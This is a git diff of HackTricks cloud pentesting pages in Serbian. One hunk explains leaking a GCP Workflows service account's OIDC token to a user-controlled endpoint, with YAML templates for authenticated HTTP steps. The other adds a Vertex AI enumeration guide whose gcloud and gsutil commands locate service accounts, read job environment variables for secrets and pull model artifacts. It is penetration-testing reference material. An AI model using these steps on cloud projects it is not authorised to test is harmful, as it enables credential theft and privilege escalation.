> [!CAUTION] -> Stoga, **moguće je iscuriti OIDC token ukazivanjem na HTTP endpoint** koji kontroliše korisnik, ali da biste iscurili **OAuth** token, potrebno je **zaobići** tu zaštitu. Ipak, i dalje možete **kontaktirati bilo koji GCP API da izvršite radnje u ime SA** koristeći bilo koje konektore ili HTTP zahteve sa OAuth tokenom. +> Možete takođe proveriti izlaz prethodnih izvršenja da biste potražili osetljive informacije + +Imajte na umu da čak i ako dobijete grešku kao što je `PERMISSION_DENIED: Permission 'workflows.operations.get' denied on...` zato što nemate tu dozvolu, workflow je ipak generisan. + +### Leak OIDC token (and OAuth?) + +Prema [**to the docs**](https://cloud.google.com/workflows/docs/authenticate-from-workflow) moguće je koristiti workflow korake koji će poslati HTTP zahtev sa OAuth ili OIDC tokenom. Međutim, kao i u slučaju [Cloud Scheduler](gcp-cloudscheduler-privesc.md), HTTP zahtev sa OAuth tokenom mora biti upućen hostu `.googleapis.com`. + +> [!CAUTION] +> Stoga, to je **possible to leak the OIDC token by indicating a HTTP endpoint** koji je pod kontrolom korisnika, ali da biste leak the **OAuth** token morali biste **need a bypass** za tu zaštitu. Međutim, i dalje možete **contact any GCP api to perform actions on behalf the SA** koristeći ili connectors ili HTTP zahteve sa OAuth tokenom. #### Oauth + +
Workflow HTTP request with OAuth token ```yaml - step_A: call: http.post @@ -76,7 +86,9 @@ auth: type: OAuth2 scopes: OAUTH_SCOPE ``` -#### OIDC +
#### OIDC + +
Workflow HTTP zahtev sa OIDC tokenom ```yaml - step_A: call: http.get @@ -90,8 +102,8 @@ auth: type: OIDC audience: OIDC_AUDIENCE ``` -### `workflows.workflows.update` ... +
### `workflows.workflows.update` ... -Sa ovom dozvolom umesto `workflows.workflows.create` moguće je ažurirati već postojeći radni tok i izvršiti iste napade. +Sa ovom dozvolom, umesto `workflows.workflows.create`, moguće je ažurirati već postojeći workflow i izvesti iste attacks. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-services/gcp-vertex-ai-enum.md b/src/pentesting-cloud/gcp-security/gcp-services/gcp-vertex-ai-enum.md new file mode 100644 index 000000000..711eb0334 --- /dev/null +++ b/src/pentesting-cloud/gcp-security/gcp-services/gcp-vertex-ai-enum.md @@ -0,0 +1,257 @@ +# GCP - Vertex AI Enumeracija + +{{#include ../../../banners/hacktricks-training.md}} + +## Vertex AI + +[Vertex AI](https://cloud.google.com/vertex-ai) je Google Cloud-ova jedinstvena platforma za mašinsko učenje za izgradnju, deploy i upravljanje AI modelima u skali. Kombinuje različite AI i ML servise u jednu integrisanu platformu, omogućavajući data scientist-ima i ML inženjerima da: + +- **Treniraju prilagođene modele** koristeći AutoML ili prilagođeno treniranje +- **Deploy-uju modele** na skalabilne endpoints za predikcije +- **Upravljaju ML životnim ciklusom** od eksperimentisanja do produkcije +- **Pristupe predtreniranim modelima** iz Model Garden +- **Prate i optimizuju** performanse modela + +### Ključne komponente + +#### Models + +Vertex AI **modeli** predstavljaju istrenirane modele mašinskog učenja koji se mogu deploy-ovati na endpoints za serviranje predikcija. Modeli mogu biti: + +- **Upload-ovani** iz prilagođenih containera ili model artifacts +- Kreirani kroz **AutoML** training +- Importovani iz **Model Garden** (predtrenirani modeli) +- **Versioned** sa više verzija po modelu + +Svaki model ima metadata koja uključuje njegov framework, container image URI, lokaciju artifakta i serving konfiguraciju. + +#### Endpoints + +**Endpoints** su resursi koji hostuju deploy-ovane modele i služe online predikcije. Ključne karakteristike: + +- Mogu hostovati **više deploy-ovanih modela** (sa traffic splitting) +- Pružaju **HTTPS endpoints** za real-time predikcije +- Podržavaju **autoscaling** prema saobraćaju +- Mogu koristiti **privatan** ili **javni** pristup +- Podržavaju **A/B testiranje** kroz traffic splitting + +#### Custom Jobs + +**Custom jobs** omogućavaju pokretanje prilagođenog training koda koristeći sopstvene containere ili Python pakete. Karakteristike uključuju: + +- Podršku za **distribuirano treniranje** sa više worker pool-ova +- Konfigurisane **machine types** i **accelerators** (GPUs/TPUs) +- Prikačenje **service account**-a za pristup drugim GCP resursima +- Integraciju sa **Vertex AI Tensorboard** za vizualizaciju +- Opcije **VPC connectivity** + +#### Hyperparameter Tuning Jobs + +Ovi job-ovi automatski **traže optimalne hyperparametre** pokretanjem više training trial-ova sa različitim kombinacijama parametara. + +#### Model Garden + +**Model Garden** daje pristup: + +- Predtreniranim Google modelima +- Open-source modelima (uključujući Hugging Face) +- Third-party modelima +- Jednim klikom deploy opcijama + +#### Tensorboards + +**Tensorboards** pružaju vizualizaciju i monitoring za ML eksperimente, prateći metrike, model grafove i napredak treninga. + +### Service Accounts & Permissions + +Po default-u, Vertex AI servisi koriste **Compute Engine default service account** (`PROJECT_NUMBER-compute@developer.gserviceaccount.com`), koji ima **Editor** permisije na projektu. Međutim, možete specificirati prilagođene service account-e kada: + +- Kreirate custom jobs +- Upload-ujete modele +- Deploy-ujete modele na endpoints + +Ovaj service account se koristi za: +- Pristup training podacima u Cloud Storage +- Pisanje logova u Cloud Logging +- Pristup sekretima iz Secret Manager +- Interakciju sa drugim GCP servisima + +### Data Storage + +- **Model artifacts** se čuvaju u **Cloud Storage** bucket-ovima +- **Training podaci** obično se nalaze u Cloud Storage ili BigQuery +- **Container images** su smeštene u **Artifact Registry** ili Container Registry +- **Logovi** se šalju u **Cloud Logging** +- **Metrike** se šalju u **Cloud Monitoring** + +### Encryption + +Po default-u, Vertex AI koristi **Google-managed encryption keys**. Takođe možete konfigurirati: + +- **Customer-managed encryption keys (CMEK)** iz Cloud KMS +- Enkripcija se primenjuje na model artifacts, training podatke i endpoints + +### Networking + +Vertex AI resursi se mogu konfigurisati za: + +- **Javni internet pristup** (default) +- **VPC peering** za privatni pristup +- **Private Service Connect** za sigurnu konektivnost +- **Shared VPC** podršku + +### Enumeracija +```bash +# List models +gcloud ai models list --region= +gcloud ai models describe --region= +gcloud ai models list-version --region= + +# List endpoints +gcloud ai endpoints list --region= +gcloud ai endpoints describe --region= +gcloud ai endpoints list --list-model-garden-endpoints-only --region= + +# List custom jobs +gcloud ai custom-jobs list --region= +gcloud ai custom-jobs describe --region= + +# Stream logs from a running job +gcloud ai custom-jobs stream-logs --region= + +# List hyperparameter tuning jobs +gcloud ai hp-tuning-jobs list --region= +gcloud ai hp-tuning-jobs describe --region= + +# List model monitoring jobs +gcloud ai model-monitoring-jobs list --region= +gcloud ai model-monitoring-jobs describe --region= + +# List Tensorboards +gcloud ai tensorboards list --region= +gcloud ai tensorboards describe --region= + +# List indexes (for vector search) +gcloud ai indexes list --region= +gcloud ai indexes describe --region= + +# List index endpoints +gcloud ai index-endpoints list --region= +gcloud ai index-endpoints describe --region= + +# Get operations (long-running operations status) +gcloud ai operations describe --region= + +# Test endpoint predictions (if you have access) +gcloud ai endpoints predict \ +--region= \ +--json-request=request.json + +# Make direct predictions (newer API) +gcloud ai endpoints direct-predict \ +--region= \ +--json-request=request.json +``` +### Prikupljanje informacija o modelu +```bash +# Get detailed model information including versions +gcloud ai models describe --region= + +# Check specific model version +gcloud ai models describe @ --region= + +# List all versions of a model +gcloud ai models list-version --region= + +# Get model artifact location (usually a GCS bucket) +gcloud ai models describe --region= --format="value(artifactUri)" + +# Get container image URI +gcloud ai models describe --region= --format="value(containerSpec.imageUri)" +``` +### Detalji krajnje tačke +```bash +# Get endpoint details including deployed models +gcloud ai endpoints describe --region= + +# Get endpoint URL +gcloud ai endpoints describe --region= --format="value(deployedModels[0].displayName)" + +# Get service account used by endpoint +gcloud ai endpoints describe --region= --format="value(deployedModels[0].serviceAccount)" + +# Check traffic split between models +gcloud ai endpoints describe --region= --format="value(trafficSplit)" +``` +### Informacije o prilagođenom zadatku +```bash +# Get job details including command, args, and service account +gcloud ai custom-jobs describe --region= + +# Get service account used by job +gcloud ai custom-jobs describe --region= --format="value(jobSpec.workerPoolSpecs[0].serviceAccount)" + +# Get container image used +gcloud ai custom-jobs describe --region= --format="value(jobSpec.workerPoolSpecs[0].containerSpec.imageUri)" + +# Check environment variables (may contain secrets) +gcloud ai custom-jobs describe --region= --format="value(jobSpec.workerPoolSpecs[0].containerSpec.env)" + +# Get network configuration +gcloud ai custom-jobs describe --region= --format="value(jobSpec.network)" +``` +### Kontrola pristupa +```bash +# Note: IAM policies for individual Vertex AI resources are managed at the project level +# Check project-level permissions +gcloud projects get-iam-policy + +# Check service account permissions +gcloud iam service-accounts get-iam-policy + +# Check if endpoints allow unauthenticated access +# This is controlled by IAM bindings on the endpoint +gcloud projects get-iam-policy \ +--flatten="bindings[].members" \ +--filter="bindings.role:aiplatform.user" +``` +### Skladištenje i artefakti +```bash +# Models and training jobs often store artifacts in GCS +# List buckets that might contain model artifacts +gsutil ls + +# Common artifact locations: +# gs://-aiplatform-/ +# gs://-vertex-ai/ +# gs:///vertex-ai/ + +# Download model artifacts if accessible +gsutil -m cp -r gs:///path/to/artifacts ./artifacts/ + +# Check for notebooks in AI Platform Notebooks +gcloud notebooks instances list --location= +gcloud notebooks instances describe --location= +``` +### Model Garden +```bash +# List Model Garden endpoints +gcloud ai endpoints list --list-model-garden-endpoints-only --region= + +# Model Garden models are often deployed with default configurations +# Check for publicly accessible endpoints +``` +### Privilege Escalation + +Na sledećoj stranici možete proveriti kako da **abuse Vertex AI permissions to escalate privileges**: + +{{#ref}} +../gcp-privilege-escalation/gcp-vertex-ai-privesc.md +{{#endref}} + +## Izvori + +- [https://cloud.google.com/vertex-ai/docs](https://cloud.google.com/vertex-ai/docs) +- [https://cloud.google.com/vertex-ai/docs/reference/rest](https://cloud.google.com/vertex-ai/docs/reference/rest) + +{{#include ../../../banners/hacktricks-training.md}}